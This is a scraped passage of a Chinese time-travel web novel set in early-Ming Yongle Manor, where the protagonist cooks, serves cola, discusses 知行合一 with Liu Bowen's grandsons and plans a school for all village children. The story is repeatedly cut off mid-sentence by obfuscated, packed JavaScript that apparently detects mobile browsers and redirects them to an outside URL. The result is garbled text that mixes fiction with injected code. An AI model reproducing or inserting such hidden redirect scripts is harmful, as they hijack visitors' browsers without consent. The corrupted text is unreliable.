p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378684|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 而精锐,自不必说,就是戚祥的下属们了…… 风餐露宿了许多天的亲卫们,看着这驿站建起来,那真是眼泪都快要流下来了。 所以其实刚才戚祥是在给他们安排看守的一些小细节。 没想到朱安宁跑来这里找他。 且朱安宁对这驿站的吐槽,那是句句在理。 倒是让戚祥有点哭笑不得。 “朱爷, 这再怎么样也是官道,而且上面的人怎样想的,咱怎么知道,现在有个驿站也好,能帮咱们防防贼,前些时日不也是常常有其他田地的管事过来闹事么,虽然三江爷面子大都给挡回去了,但是保不住以后还有什么情况嘛,有个官驿,咱们日子过得也安心咯。” 戚祥解释了一通,也不管朱安宁信不信。 朱安宁被绕得多少有点晕,最后也是无奈,反正也不是什么坏事,也懒得去理解那戚祥的长篇大论。 不过现在来都来了,顺便和他商量一下乡学的事情也好。 “对了,戚祥叔,庄子里能不能申办乡学啊,那群娃都已经无法无天了,给个乡学让他们进去呆着,省得到处惹是生非。” 刚拉住朱安宁准备往回走的戚祥,在听完他的话后。 那是猛地就停下了脚步。 他似乎是在认真理解朱安宁的意思。 “朱爷,你的意思是?咱们申办乡学,让所有孩童都进去?” 戚祥停下了脚步,那眉头是皱得可以夹死蚊子那种。 看着戚祥那副表情,朱安宁也不是傻子,他马上就想到了这古代的乡学,绝对和自己认知里的小学……不一样! “朱爷,乡学的申办,可是要花银子的啊……官府最多就是派个先生给你,甚至于,很多时候,先生都是村子或者庄子自己请的啊。” 戚祥不敢再像说驿站那般胡言乱语,他整理了许久措辞,才和朱安宁细细地说道。 “先生很贵?还是书舍很贵?” “先生二两,村塾就算建个小的,怕不是也得十几两……” “嗨,我还以为多少钱,吓死我了。” “啊?” “建了建了,先建好,到时我请先生……我请两个,把田头那群小屁孩全部丢进去读书去,天天屁事不干就知道溜街闹事满口脏话……” “啊?全部?” “全部啊!” 第八十一章 拿着刀,就是能讲道理 “挖渠小事,但是兴建乡学,还得慎重。” 戚祥思衬了片刻,沉吟道。 【学】这件事情,还是比较敏感的,说不得还得问问最上面那位大爷。 毕竟永乐庄的事,都不是小事。 “啊?这有什么好慎重的,你就先帮我联系些工匠把这屋舍先建起来呗,像之前帮我建宅的蒯富他们就很不错。” 朱安宁回道。 却也是一下就把戚祥说无语了。 建皇宫的人来帮你建房子,肯定是不错的啦。 “有难处啊。”朱安宁看见了戚祥的脸色变了变。 “确实有点。”戚祥也很是直接,这话他可不敢说满……万一请不来这种级别的工匠,岂不是坑了自己…… “哎呀,看来还是得找伍爷,他那边才认识人。” 对对对,去找上位吧,别为难自己了。 听见朱安宁这说法,戚祥可是相当开心。 “诶,确实,伍爷认识人多,您找他合适。” 两人沿着乡道,一路向朱安宁的院子走去。 和戚祥共处那么多天,两人早已熟稔。 所以也没有忌讳太多,朱安宁开门把戚祥迎了进去,想坐下聊。 只见院内李景隆正指挥着刘家两兄弟在那挑水。 那刘家两兄弟哪吃过这种苦,本就是只会读书的人,又不像李景隆这种,从小还接受过兵家的锻炼,那是真的是细胳膊细腿的人。 本来朱安宁还没进来,两人是在那里不断抱怨。 结果现在见到有人进院子了,却也只能住嘴,然后咬牙继续挑水。 戚祥见到这副场景,是差点憋出内伤。 他是认识这些二代的,毕竟他可是老朱的亲卫。 而朱安宁看着摇摇晃晃的两人,也是又好笑又于心不忍。 只是如果这两兄弟不挑水的话,那挑水挑粪的就得是自己了…… 所以,还是让他们来吧…… 最多,自己中午做些好吃的给他们就算了…… 朱安宁和戚祥,坐到了树下的木桌旁,李景隆非常有眼力见地帮忙给两人倒上了茶水,然后又跑了回去干活。 “朱爷真是把自家小院也收拾得井井有条啊……”戚祥是话里有话……他指的是那些皇亲国戚勋贵二代都很听话。 只是朱安宁哪听得懂。 他回头看了一眼自己的屋子。 也是点了点头。 “收拾得干净,人也住得舒服啊。” “呵呵。” “呵呵。” 两人相视一笑,一同喝下了茶水。 “对了,戚叔,这先生你总归认识些了吧,咱们办乡学,没两个先生,可管不住这群野到没边的孩子。” 这一段话,也是让戚祥有些哭笑不得。 先生? 他认识可多了。 比如宋濂,刘伯温,李善长,他都认识…… 但是总不能请这些大佬过来当先生吧…… 就不说这些大佬,翰林院里的估计都不会鸟他…… “我……哎,我一个委派下来的里长,哪认识那么多人啊。”所以,他只得心虚地喝了口茶,不想正面回答这个问题。 这下就让朱安宁有些犯难,刚才他冒出办乡学的想法,只不过是想找个地方约束下那些无法无天的孩童。 但是越想他就越觉得,乡学是有必要的。 虽然现在洪武十二年,这科考已经许久没开了。但是乡学,可以让他有个场地光明正大地教那些孩童一些实际点的东西啊。 从穿越至今,他虽然还是不想和朝堂有任何关系。 但是自从成了这永乐庄的地主后,他的想法还是有了些改变的。 独善其身,现在来看非常简单。 随便卖点物资给那伍老头,自己怕不是都能舒服活到狗带。 既然已经有了一定的能力,偏安一隅,把这永乐庄,打造成明初的新农村,也不是不行啊。 “啧,可能还是得和伍爷商量商量,他想法多。” 朱安宁,也喝下了口茶,自言自语道。 “那行,乡学这事啊,朱爷你尽管和伍爷商量,我这边还有事,就先行告退啦。”戚祥把杯中的茶水喝完,然后拱了拱手,和朱安宁打了个招呼就往外走。 一些他帮不上忙的事情,他是绝对不会多嘴了。 这才是明初最好的养生之道。 朱安宁也是连忙应了句好,便也是看着戚祥走了出去。 院子里就剩下了刘家两兄弟哼哧哼哧的喘气声。 直到最后是李景隆发了善心。 “休息下休息下……你俩真是……哎。” “九……三江,呼……这……这不能赖我们啊,主要是这农……农活太累人了。”刘畾坐到了田埂边,找了个阴凉点的角落,那是喘得跟狗似的,刘廌更是直接就说不出话来。 “知道累人就好,以前在学堂时,你们不是老是嚷嚷说要纵情山水么?”李景隆嘿嘿笑了两声。 几人关系还算不错,所以也就是调笑两句而已。 朱安宁瞄了几眼,也是服了这两兄弟的身体素质,怕不是连当 代脆皮大学生都不如。 所以,中午好好给他们补补,顺便欢迎新舍友吧。 眼下他想做的事情,就唯有挖沟渠是顺利的,想弄乡学,乡学不好搞,想把这些高产的粮食尽快种出来,那时间又不能调快。 所以……还是做饭吧。 好久没有做大菜的朱安宁,转身走进了车里。 从冰箱里掏出了条大黑鱼和小里脊肉,决定,今天整个大活。 自己也是很久没吃爽了。 树下的朱安宁在处理食材。 远处的三人本来是刚休息完,正准备继续干活的。 怎知那李景隆,却直接凑了过来。 “朱哥,今天不是鸡蛋面了吧……我又没有四哥五哥那些撒料……实在是吃腻了啊。” 原来是过来抱怨最近伙食太单调的。 “你个三江,我也不是没做过好吃的给你啊……行行行,今天我就让你吃点爽的。” 听见李景隆的抱怨,朱安宁也是笑了起来。 “鱼?还有肉?朱哥你要煮鱼?”李景隆扫了一眼砧板,那是惊喜了不少,反正不是鸡蛋面就行…… 而此时,刘家兄弟也走了过来。 不必说,就是想争取多些歇息时间而已…… 李景隆和朱安宁也没点破他们的小心思。 “今儿能吃肉了啊。”两人脸上的惊喜不似作假。 这副模样是把李景隆看得疑惑不已。 怎么回事,这两个小老弟。 诚意伯家就这么穷? 连朱安宁都疑惑地看向了两兄弟。 “季伯亏待你们啊?按理说你们家地应该也不少吧……”朱安宁没有停下手中的动作,他哐哐哐斩断了鱼骨,丢到了碗里,接着才开始片鱼片。 “家里田地确实是够的……”只见刘畾和刘廌对视了一眼,接着又叹了口气:“但是爷爷收的地租实在是太低了啊……” “能有多低啊?”朱安宁脸都没抬。 “三成。” 两兄弟还在叹气。 实话说,刘伯温的三成已经是全明朝罕见的大善人了。 他可不像朱安宁这种,时不时可以掏东西出来换钱,甚至方便面都卖了二百两银子的人。 而且刘伯温家,实际上是一大家子需要供养,哪像朱安宁这边,就算上眼前这三人,加外面田里的朱棣朱橚,也就是六人要开饭而已。 明初朱元璋给群臣们发的工资又极抠,放现代都要被吊路灯那种。 这导致了刘伯温家甚至出现了难以为继的尴尬情况。 也就不怪说刘畾刘廌两兄弟看到肉就忍不住小确幸了。 “三成啊,季伯真的算得上是大善人了啊……”经过这么些日子,朱安宁早就把地租的事情给弄清楚了。 他听完两兄弟的话,也是忍不住感慨。 大概现在整个明朝,除了自己这个傻缺,没有多少人会低于四成吧。 这季伯也算是收租极低了…… 看着面相就比那伍爷和韩爷要和善。 只是,刘家兄弟和朱安宁的感叹,没有持续多久。 李景隆就笑了出声。 “但是朱哥你更低啊,你都收一成了。” 李景隆把朱安宁的光荣事迹给报了出来。 朱安宁也没恼,他只是呵呵笑了两声,反正他暂时也不缺那点地租。 然而,刘畾刘廌却不淡定了。 刘伯温只告诉了他们要来干嘛。 其实很多永乐庄的事情,他们是不了解的。 就比如这一成的地租。 “一成?”刘畾叫了出声。 “一成?三江你莫不是耍我们!”连不怎么出声的刘廌,都变了脸色。 这对他们来说可太震 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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因为这就是现在,在这应天府地界里,不断发生的事实。 “我读的书肯定没有那些士大夫,文人们多。”朱安宁嘿嘿笑了两声,又把刀子提了起来,开始片瘦肉:“咱们汉人啊,总是觉得那些文人老爷们,读的书多,那认的道理就多。” 沾了点水的刀,片出来的肉,相当均匀,朱安宁非常满意今天自己的发挥,当然,他还未停下话语。 “可是实际上呢,读书的老爷们,更多就是为了功名加身罢了,来去都是利,书里那些大道理大家都懂,没人去做啊。” 这几句话,如果被朝堂里的文臣们听到。 怕不是能把朱安宁给喷傻。 顺便在给他诌几件糗事编到史书里,让他遗臭万年,文人们也不是第一次做这样的事情了。 “大概是存天理灭人欲喊太久了,那些个是士大夫都觉得喊喊就是践行了是吧,骗外人可以,别把自己都给骗了啊。” 朱安宁的嘲讽极其辛辣。 作为现代人,古代那些文人们的种种骚操作,不说电视剧这种经过加工的,权威的史书教科书都出现过不少。 什么干政抱团,排除异己,欺压百姓,投降外族只知道明哲保身等等等等。 就没听过几个文人是对农民好的。 连那写锄禾日当午,汗滴禾下土。谁知盘中餐,粒粒皆辛苦的李绅,都是个贪官恶吏……真就是古代双标玩得最秀的就是这群读书人了。 所以,在朱安宁心中,对大部分文人的评价,其实和老朱差不多。 一堆虫豸! 嘁! 听着朱安宁的嘲讽,刘廌终于也是忍不住了。 “朱哥是对先圣的说法不满?” “没有啊……” 程朱理学的精炼,其实并没有什么大错。 灭人欲只是劝告众人,要抑制些不好的念头而已,要说程朱理学有什么不对,那便是对行和知的阐述,实在是差得离谱。 朱安宁摇头否认了刘廌的问题,那刀还在继续片着瘦肉,直到最后一刀落下。 咚! 他把刀立到了砧板上。 “我只是讨厌那些人,知而不行而已。”朱安宁擦了擦手,正声说道:“若天下读书人都能知行合一,哪还会有那么多丑事。” 第八十二章 略微超前的学问 知行合一。 是王阳明提出的,有别于程朱理学,先知行后的思想。 前者对后者来说,可是巨大的超越。 其实也就是朱安宁在做饭时随便说的而已。 哪知道说者无意,那是听者有心啊。 刘畾,刘廌,可不是什么普通的文人。 他们不仅能得到刘伯温毫无保留的培养,更是能进入文华殿和那群皇子一起念书的有才之人。 当然李景隆其实也是,只不过现在他的目光全在鱼和肉上了。 “朱哥好刀工啊,怎么这鱼和肉都片得这么细啊,难道是辣椒炒肉之外,还有辣椒炒鱼这种吃法?!” 我们的战神同志,目前只对吃的有兴趣。 “什么辣椒炒鱼啊,这鱼都片那么薄了,一下锅去炒不稀碎啊,你爱吃猫食?你爱吃我炒给你。”朱安宁嘿嘿笑着,也没管那两兄弟已经陷入了沉思。 他就是还在那和李景隆贫。 “啊?碎了我吃个什么味啊,又不是鱼羹,还是说辣椒做的汤也能喝?” “你要吃辣椒汤……我就给你做……” “那朱哥你呢?” “我一般是没有这么变态的……辣椒汤这种东西不适合我” “……” 砧板旁边的朱安宁,噎的李景隆是无话可说。 他们都没有注意到。 一边的刘廌在那对着刘畾在那神神叨叨。 “那知先行后,是不正确的么?义理不明,如何践履!”魔怔了般的刘廌,大声喊了出来。 把拿着刀的朱安宁吓了一跳。 “嚯……你们在聊什么?”他其实没怎么听清刘廌的话语。 “先生,我们对知行合一这个说法,有些问题想请教您。”稍微清醒点的刘畾,对朱安宁行了个礼。 那是规规矩矩的弟子礼。 朱安宁没有抬头,自然没有看到。 但是李景隆却是全看在了眼里。 我了个乖乖,这两兄弟,平时连翰林院的那些人都看不起,也就勉强服一服宋濂之类大儒而已。 怎么今儿一个癫癫的,一个都执弟子礼了。 刘廌也是回过了味来,和刘畾一起看向了朱安宁。 就如刘廌刚才所说,他们从小接受的教育都是义理辨明,方可践履。 “博学、审问、慎思、明辨,最后才是笃行!”刘廌也是目光坚定了起来。 没错,这才是是对的! 要不是朱安宁还举着刀,两个小伙子怕不是都要冲到朱安宁跟前来发问了。 听着两小子的发言,朱安宁是直接笑了起来。 倒不是说这两人说错了。 而是朱安宁想起了自己大四那年考研失败的经历。 考研政治,可不是一门容易高分的科目啊。 虽然自己最后考研失败了。 但是这考研政治可不是白背的啊,你这两地主家的傻儿子真的要和我辨? “先生何故发笑。” “我想起了好笑的事情而已……” “那先生请解释下博学、审问、慎思、明辨,最后才是笃行,有什么问题?” “我没说有问题啊。” “那……”刘廌和刘畾,都是憋足了劲,想要和朱安宁辩到底的。 反正这两人的爷爷就是杠精头子……御史中丞兼太史令…… 结果还没开杠,朱安宁就一手太极把他们给整懵了。 “那先知行后,方可践履,也没问题?” “我也没说有问题啊。” 朱安宁已经整备好那些肉和鱼片,他拿出两个大碗,打上了点玉米淀粉,顺便码了下底味。 说话,并没有耽误,朱安宁做饭。 今天可是六人份呢,做少了,就不够吃了啊。 他看着眼前两个已经发蒙的兄弟,只觉得真是社会阅历少,这世间哪来那么多对错啊。 “中庸说的没错,程朱说的没错,当然,我说的知行合一,更没有错,你们听好了,一个时代有一个时代的需求,甚至是不同年龄有不同年龄的需求,你还未获得足够多知识的时候,那就应该多思考,因为你做选择,容易犯错,你不知道世界之大,人心之险恶。对不对?” 朱安宁抬起刀,开始拍姜蒜。 配合他的话语,竟然也没有什么违和感,就跟打拍子似的。 “然后你们长大了,懂了更多的道理,学会了更多的知识,甚至连人都变得有城府了,那你还在那里踌躇不前地思考,不去践行,那不也是白白浪费时间么?” 啪!啪!的声音还在继续,朱安宁他准备做的是酸菜鱼和水煮肉,这两道菜他有现成的料理包,但是一些小料,还是得自己准备下的。 他说得很快,而刘廌刘畾本就是聪慧之人,听完后,就陷入了沉思。 见两人没有回答自己。 朱安宁也是笑着继续说了下去。 “往大里说也一样的,你用周礼,甚至是唐律,能符合我们现在的要求么?能适应我们时代的发展么?” “时代的发展?” “啊,对不起,这个词说法可能比较新颖……” “好像也不是不能理解……” “能理解就行……”朱安宁轻咳了两声:“朝代是往前走的,汉没了,唐没了,宋也没了啊,所以季畾,季廌啊,你们听好了,没有什么说法是,永远正确的啊。如果他们绝对正确,又为何会亡了呢?” 辩证法加唯物史观。 颠扑不破的真理…… 用来和两小孩唠嗑,会不会有点蚊子打大炮的感觉啊? 朱安宁说完最后一段话,笑着摇了摇头。 他开始专心地备料。 “那知行合一也是错的?”刘廌好像理解了些。 他皱起了眉头。 “如果他不适应这个时代,那么他就是错的。” 朱安宁给了个超级神棍的回答。 “那,我们该如何辨别大家说的是错还是对呢?”刘畾也皱着眉头,加入了追问的阵容之中。 一边的李景隆也不是什么不学无术之辈。 只是读书确实是比不过这刘家两兄弟,所以一直没有说话,他只是在听。 “回到我最初说的事情上,世人都说民为贵,当真正去践行的人,又有几何?所以啊,不要听读书人说了什么,他们满腹经纶,那都是道理,且都是好有道理呢。你得看,看他们做了什么。这才叫知行合一,不是先后的问题,是这人的知,能否和他的行,相匹配的问题。” 要说辨经,辨论,十个朱安宁捆起来,可能都不是刘畾刘廌这两兄弟的对手。 奈何…… 阳明先生的理论可是太扎实了啊。 朱安宁也没有去扯那些过于文绉绉的内容。 他就是一把屠刀,一块砧板,慢慢悠悠地讲了些自己的理解。 此刻的朱安宁,在刘畾刘廌心中,形象已经高大了很多…… 怪不得爷爷对他这么推崇。 于是两人憋红了脸,那是激动的表情。 这朱先生,不比殿里那些酸儒讲的东西有意思多了么!这才是他们梦寐以求的求学啊! 刘廌也没和其他几个人打招呼,他迅速冲回了房间了。 不消多久,便拎着笔墨纸砚又冲了出来。 “弟,给我磨墨!我要把先生的话记下来”他大喊了一声,那刘畾也是连忙应承。 “好。” 于是院里的情况变得荒谬了起来。 一边是烟熏火燎的烟火气。 一边,却是舞文弄墨的书生气。 我的话有什么好记啊…… 朱安宁是真的有些大无语,只觉得你们真的那么爱记的话,车里的笔记本电脑里还有毛选呢……以及以前考研留下的政治资料。 随便掏点出来,估计都是超越时代的理论…… 李景隆呢,却也是纠结了起来。 因为朱安宁炒菜爆锅炒酸菜的味道是真好闻啊! 而另一边那刘家兄弟记的内容,估计就是朱哥方才说的话,他也是想记下来的。 往左还是往右,这是个问题。 只是,很快就不用纠结了。 因为外出带农民干农活的朱棣和朱橚回来了。 推门而入的朱棣,那喜悦的表情是掩盖不住的。 “朱哥朱哥,我方才在外面就闻到了,这香味不一般啊!总之今儿不是鸡蛋面了吧!” 大嗓门加一身泥,朱棣就这样大大咧咧地走到了朱安宁身边。 他也没管刘廌和刘畾在那写写画画些什么,吃!吃东西才是正事。 而朱橚,却也在进门的瞬间,看到了这迥然不同的光景。 只是,他选择的是去看刘畾和刘廌…… 这一看不要紧,很快朱橚也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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还没个人过来帮自己忙。 喊了几声朱棣,都没有回应的朱安宁,只能继续像刚才那样一边起锅,一边备料。 正午的阳光很是炽热。 所幸他们所处的都是树下。 当那鱼和肉,都已经出锅之时。 奋笔疾书的刘廌,也写下了最后一个字。 “先生所言甚是啊!所言甚是啊!”他激动地举起了纸张。 几个年轻人也顺子他的手,抬起了头来。 都是在思考那些字句的深意。 那时越想越有意思。 知行合一……知行合一…… 几个人都在那神经似地念叨着。 而此时,朱安宁也准备好了炝锅的热油。 灵魂浇给!这才是水煮鱼和酸菜鱼的精华。 在高温热油的刺激之下。 那股异香很快就弥散到了整个院子里。 那几个年轻人,也终于从文中抽身,看向了那两大盆菜。 “这就是水煮肉,酸菜鱼?!”朱棣那是一个箭步就从刘廌那边跨了回来:“朱哥,我还没帮你剁蒜呢。” “剁什么,我都做完了还剁,赶紧给我盛饭去,你们几个也是,别盯着几句话在那看了,吃饭吃饭。” “是的先生。” 令朱安宁没想到的是,几人都已经把朱哥称呼,换成了先生…… 当然,大大咧咧的朱棣,还是朱哥朱哥叫个不停。 几人都是辛劳了一早上的,那肚子其实早已饿极。 现在又闻到这异香。 哪还忍得住。 于是,都迈开了脚步,主动地凑到了朱棣那边,想帮忙盛饭。 朱安宁则走到了院子的水缸旁,舀起了点水。 洗了洗手和脸的油污,川菜是香,就是油大。 他看向了正在盛饭的刘廌和刘畾两兄弟,突然,萌生了个有意思的想法。 “季廌季畾,过些时日,永乐庄说不定要办乡学了啊,你们能教书么?” 第八十三章 读书,也是要资格的 “教书?” “教书?” 拿着碗的两人,那是一头雾水。 刘畾和刘廌都觉得是不是太阳太大了,或者是刚才自己抄书抄得太过,现在出幻觉了? 不说是刘畾和刘廌,连剩下三人也都是有些意外地看着朱安宁。 “你们一副见了鬼的表情看我干嘛啊。”朱安宁正在坐下,他望着众人,也是有些不解。 “朱哥,你这想法太突然了吧。”朱棣代表众人开了口。 “啊?是么?”朱安宁接过朱棣盛的饭,回道:“很突然,这乡学很少见?” “倒也不是乡学少见……”朱棣顿了顿:“只是……” 后面还是朱橚接了话:“只是大部分乡学都是由宗族建立的啊,当然还有部分是官家牵头建的……” “先生您要建乡学的话,没有由头啊,人家村里庄里的乡学,是一些大族有富余了,才建起来,给自家子弟进学用的。咱们永乐庄……姓氏都五花八门的,是不是一个地方来的都不好说呢,先生你这个地主代表的是哪家哪地的人啊?” 朱橚的解释没有很细致,朱安宁虽然听懂了些,但是还是感觉有点云里雾里、 说起建乡学,从戚祥到院里这几人,都一副奇怪地目光看着自己。 感情…… 乡学这东西,就是要叫做族学更合适吧,那是给自己家族小孩读书的地方……而不是乡里的小孩。 这是有本质区别的啊! “难道就没有更公开些的乡学?”朱安宁看向了朱橚。 “有啊,那得是江南那边,富裕的地方,就有给些钱银就可以去上的乡学,或者私塾,那就是不问血缘,也不看由来了。” 啧…… 这下轮到朱安宁沉默了。 他知道古代读书是特权。 但是没想到这么特权。 绕来绕去,就是只有富庶的地方,富裕的人家,才有资格读书呗。 “那你们是在哪念的书?”沉默了许久的朱安宁,抬头对几人发问。 他是知道这几人都是同窗的。 朱安宁看向众人,而众人皆看向朱棣。 “呃……城里的书院。”朱棣很快给出了个还算靠谱的答案。 “所以你们的意思就是,我没什么理由突然搞一个乡学对吧?”朱安宁话锋一转,问出了问题的关键。 “读书,可不是一件小事,三五年七八年,甚至十数载都是常见的事情啊,这意味着家里会少一个可以耕种的人啊……为了保障那个读书的人能够心无旁骛,那些族里的乡学是要保障那人的口粮的。”朱橚知道朱安宁应该是想做好事。但是他也觉得有必要把事情说得清楚些。 读书,在封建时代,真不是一件简单的事情…… “所以,所谓的乡学,是依附在宗族之下的,给富裕的宗族,用来培养人才的地方?” 朱安宁算是知道些大事件。 但是你要说他对明朝,或者古代的方方面面都烂熟于心,那也是为难他了。 结合朱棣和朱橚的说法,他总算是完全听懂了。 不仅是富庶与否的问题。 在古代这种劳动力就是一切的时代。 一户家庭,少掉一个劳动力,那损失是巨大的。 不……应该说不止是损失,你还需要去供养这么一个人,这对一般农户来说,是不可承受的啊。 所以古代建立了以宗族为主的乡学制度,通过盘活族里的多余资金,去投资族里有天赋的年轻人,供养他们学习,直到考中……中了秀才,那也是族里的喜事,万一考得更好,那兴许就能带领整个族群跃迁了。 想通的朱安宁,是长长地叹了口气。 封建制度就是封建制度。 有再贤明的皇帝,他也是封建制度。 一想到现代天天有键盘侠在那喷寒门再无贵子他就想笑……把那群人丢回来古代,怕不是连键盘都没得敲,因为学都没得上啊…… “行行行,菜都冷了,边聊边吃,季畾和季廌,早上的鸡蛋面不是我的正常水平啊,你们尝尝这个,这个才是我的正常发挥!” 朱安宁大手一挥,意思也很简单。 吃了再说。 不然这话题得聊到下午去了。 看见朱安宁已经夹菜吃了起来。 他们几人也是连忙动了筷子。 不得不说,那些快手酱料就是猛…… 朱安宁做出来这两盆东西,放在现代,都是能送外卖了。 “朱哥,我还以为你说的水煮肉就是用水煮……”朱棣一马当先,夹起了肉片。 比起鱼,干肉更符合他。 “白水煮肉,你是北边那些贼人啊?那么难吃的吃法,我不行。” 朱安宁呵呵笑了起来,继续说道:“香吧?” “香,这辣椒太香了,朱哥,快点想想办法让那些辣椒收成些吧,不然我们吃一顿少一顿,太难受了!” 朱棣碗都快啃下来的样子,着实是把刘廌和刘畾吓着了。 这燕王怎么如此失态。 虽然这朱哥做的饭菜真的很香……但也不至于。 然后,他们一人 夹了一口水煮肉片。 脸色涨红是不必说的。 他们又不像朱橚朱棣和李景隆这般,已经吃过几顿辣椒。 刘畾和刘廌,可是第一次吃如此刺激的食物。 姜,蒜,辣椒的味道在他们的嘴巴里炸开。 厚厚的油层之下,他们根本没想到这肉还会这么烫。 更加加剧了这辣感觉。 几人都停下了筷子。 他们都在恶趣味地欣赏第一次吃到辣椒的两人。 “不错不错,比三江表现要好多了,三江第一次吃,那是直接就开始满院子跑起来了。” “先生,我那不是吃了块辣椒么……”被揭伤疤的李景隆也是有些无语,他倒霉就倒霉在,他的第一口是带辣椒的……他哪顶得住啊。 “嘶……口舌刺痛,但是这莫名其妙的舒畅感……”刘廌涨红着脸,看向了刘畾。 而此时的刘畾,根本说不出话来…… “这叫辣椒。”朱安宁从水煮肉的盆里捞起了一块红色的辣椒:“就是你们今早去侍弄的田间的其中一种。” “斯哈……听……听爷爷说过,没想到味道居然这么霸道!斯哈……那番茄是否也是这般……”刘廌吐着舌头,问道。 “番茄是酸甜的。”朱棣替朱安宁回答了问题:“早就吃完了,再想吃,等种出来吧。” 他也没管这几人在聊天,就是突出一个猛吃。 水煮肉和酸菜鱼,他是夹个不停,众人还未反应过来,他一碗饭已经下肚,正准备起身去盛第二碗。 几人看朱棣这阵仗,也是知道自己再不吃,那真的要毛都不剩了。 于是也加入了猛吃的战局之中。 一时间那是哈气声不断,众人皆是大汗淋漓。 唯有朱安宁还算好。 毕竟这两盆东西,放在现代也就一般水平…… 他自不会像这几个家伙那样……在那恶狗抢食…… 只见他回过身,进了房车,拿了三瓶可乐下来。 杯子那也是必不可少的。 毕竟一人一瓶这种奢侈的喝法,遭不住啊。 看见朱安宁的动作。 朱棣那是眼前一亮。 辣椒很美味,番茄也很好吃。 但是,都比不上这东西啊! 朱橚也是喝过的人,他的目光比他哥的还要亮堂。 两人的目光,那是紧紧地跟着朱安宁在移动。 准确地说,是跟着朱安宁手中的可乐在移动。 这让还正在奋战的李景隆,刘廌和刘畾一时之间有不适应。 抢菜的人怎么少了呢? 于是他们也抬头,顺着朱棣和朱橚的目光看了过去。 “先生这是?” “酒水?” “这么黑?是南方的娘酒?” 几个没见过可乐的人,纷纷开始玩起了无奖大竞猜。 “这是可乐!”结果回答他们的人是朱棣。 只见朱棣倏地一下站了起来,然后毕恭毕敬地接过了朱安宁手中的杯子。 “朱哥朱哥,我来帮你倒啊,这种小事就不劳烦您了。” “行行行,你们倒吧,今天就这么多啊,我也没多少了,留着以后有什么喜事再喝。” 朱安宁也是乐意少做点事情,于是把饮料和杯子都给了朱棣。 只见朱棣那是熟练地很。 他倒得很慢,因为这样气泡少……甚至倒到最后,还学会了杯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“晕茶晕酒我都听过,这古人不会晕可乐吧……” 晕可乐这种事情当然是不存在的。 院中的几人,不过是沉沦在了高甜度,且带大量气泡的饮料之中罢了…… “这……这等神物!太爽了啊!”李景隆给出了非常准确的描述。 可乐就是爽。 剩下的几人,也很快恢复了清醒。 “好了,吃喝好了,刚才那件事情,才聊到一半呢。”朱安宁靠在了椅子上,开了口。 他并没有说因为朱橚等人的说法,就真的放弃乡学这一打算。 朱安宁只是在吃饭的时候,又重新盘算了一下而已。 “那,如果我也像那些宗族里的乡学那样,给那些来念书的孩童,发口粮呢?” 他开口便是把几人扯回了现实之中,脱离了可乐的沉沦。 “发口粮?”朱橚盘算了一下:“朱哥还是善心……问题应该也不大,咱们庄子的人口,大概也就几户人家的孩子可以念书吧,朱哥你可是富裕得很的,养得起。” 剩下几人也是笑着点了点头,算是同意朱橚的说法。 同时,也是对朱安宁善心的认可。 不愧是十里八乡收租最低的地主……真善人啊。 “先生真是大善……愿意出资资助有天分的孩子进学……”刘廌忍不住补了句。 其实他们这几个二代三代,都算是有见识有见地的,并不是说所有勋贵的二三代都是纨绔。 听见朱橚和刘廌的说法。 朱安宁倒也是不急着说下去了,只见他慢悠悠地喝了口可乐,才开的口。 “如果我建乡学,那必然就是要供养所有年龄合适的孩童,并非几户,是全部哦。” 朱安宁,对戚祥说过同样的话语。 只不过那次是他根本就还没理解乡学是个怎样的机构,按照现代人的想法去随口说的。 这次的全部,则是他思考之后的结果。 既然要办,他就办个职业技术小学! 第八十四章 标准化 院子里阳光洒落。 乡间只有鸟叫虫鸣,远处偶尔会有几声农夫们的吆喝。 所以,这就是个很舒适的饭点。 唯一让朱安宁不适的是……他开完口后,全部人都停下了筷子,看向了他。 朱安宁做的饭很好吃,除了鸡蛋面…… 所以酸菜鱼和水煮肉众人是吃得很开心。 但是,乡学什么的,全部都入学是什么意思啊。 读书在更远些的时候,那就是世家的特权。 来到宋朝元朝,只能说相对好些。 相对…… 而现在这明初,天下刚定,能读书的有几个人嘛。 他是不是看不起读书这件事情啊,随便村口撵两个小孩就能读书了是吧? 于是不只是刘畾刘廌他们几人放下了碗筷。 连吃得正欢的朱棣,都沉默了下来,最后也是放下了筷子。 “朱哥,你得知道,全部孩童都去读书,这真的不现实……” 他说得很直白。 几人听见朱棣出声,也是不自觉地点了点头。 朱安宁其实是预判了他们的反应的。 只是没想到,这群家伙居然用一种自己脑子有包的表情在看自己。 这些古人真是欺人太甚…… 懂不懂什么叫义务教育法啊。 朱安宁也放下了碗筷,把手交叉在了胸前。 “我知道不现实,但我说了要办你们上的那种学堂么?” “朱哥什么意思?” “孔孟之学,四书五经,固然重要,但是还有其他东西也是很重要的啊。” “哦?先生是觉得还有其他重要的典籍要补充么?”一说起这些刘廌可来劲了,他已经开始在脑中头脑风暴,开始检索典籍。 而此时的众人却也发现了,朱安宁在摇头,他自然是在否认刘廌的说法。 “都读书了,还能有比四书五经更重要的?” 